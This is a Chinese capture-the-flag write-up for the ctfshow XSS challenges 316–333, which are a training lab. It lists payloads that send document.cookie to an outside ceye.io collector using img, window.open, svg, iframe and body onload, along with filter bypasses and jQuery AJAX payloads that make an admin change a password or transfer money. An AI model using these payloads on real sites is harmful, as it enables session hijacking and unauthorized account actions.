WP-ctfshow-XSS-316-333
此题思路很简单,上传自己xss平台的代码,后台会有虚拟的admin机器人5s点击一下这个链接,就可以获取到cookie了。
我这里用的是ceye:
payload集合如下:
- img
1 | <script> var img=document.createElement("img"); img.src="http://8f1nep.ceye.io//"+document.cookie; </script> |
- window.open
1 | <script>window.open('http://你的ceye地址/'+document.cookie)</script> |
- input
1 | <input onfocus="window.open('http://你的ceye地址/'+document.cookie)" autofocus> |
- svg
1 | <svg onload="window.open('http://你的ceye地址/'+document.cookie)"> |
- iframe
1 | <iframe onload="window.open('http://你的ceye地址/'+document.cookie)"></iframe> |
- body
1 | <body onload="window.open('http://你的ceye地址/'+document.cookie)"> |
web317
过滤了script 挑个没script的payload用就行了
web318
过滤了img 挑个没img的payload用就行了
web319
不知道过滤了啥 反正payload能用
web320
过滤了空格
绕过如下:
<body/**/onload="window.open('http://8f1nep.ceye.io/'+document.cookie)">
或者:
<body/onload="window.open('http://8f1nep.ceye.io/'+document.cookie)">
web321-web326
不知道过滤了啥 反正payload可以用
web327
收件人只有写admin才能发送成功
大概这道题的意思是只有发给admin才能偷到admin的cookie八 不懂
web328
试了一下万能密码 不来塞 没意思哈哈哈
然后注册一个用户,用户名随便填,密码填写payload(这里body不行,随便换一个)
抓到admin的cookie
然后在console里改一下cookie就可以看见用户管理里面flag了
web329
一打开ceye发现一大堆不一样的cookie我就懂了 cookie开始变了
原来的方法不通了
这里学习了一下
document.querySelector()
参考资料:
https://developer.mozilla.org/zh-CN/docs/Web/API/Document/querySelector
1 | <script> var img=document.createElement("img"); img.src= |
web330
1 | <body/**/onload="window.open('http://127.0.0.1/api/change.php?p=123')"> |
web331
由于方法从get改成了post 所以要想一个通过xss传入数据的方法
所以想到用ajax
关于jQuery $.ajax方法的使用呢,详情参见以下文章:
具体形式可以到源码里去看:
$.ajax({
url:'api/change.php',
type:'post',
data:{
p:newpass
},
success:function(data){
layer.msg(data);
}
});
修改成payload如下:
<script> $.ajax({url:'api/change.php',type:'post',data:{p:'123'},success:function(data){layer.msg(data);}}); </script>
耶!可以用!成功啦~
web332
哇靠,这题就给admin转-10000块钱就可以收获10000块。。。然后就可以买到flag了。。。牛。。。
web333
- 逻辑问题
自己可以给自己转账,只会收到钱不会扣钱,转个几次转到9999为止….
- 让管理员给俺们转钱 依旧用异步
先抓包看一下转账是怎么转的
POST /api/amount.php HTTP/1.1
Host: 85e65110-fcf6-4911-9065-d2d1faacc1ac.challenge.ctf.show
Content-Length: 9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://85e65110-fcf6-4911-9065-d2d1faacc1ac.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://85e65110-fcf6-4911-9065-d2d1faacc1ac.challenge.ctf.show/transfer.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=kqdf31frfei6se1ovjra597gl1
Connection: close
u=123&a=8
写一个payload如下
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script>
耶成功啦!!!!
至此ctfshow的XSS就AK啦 完结撒花!!
date:2022/06/29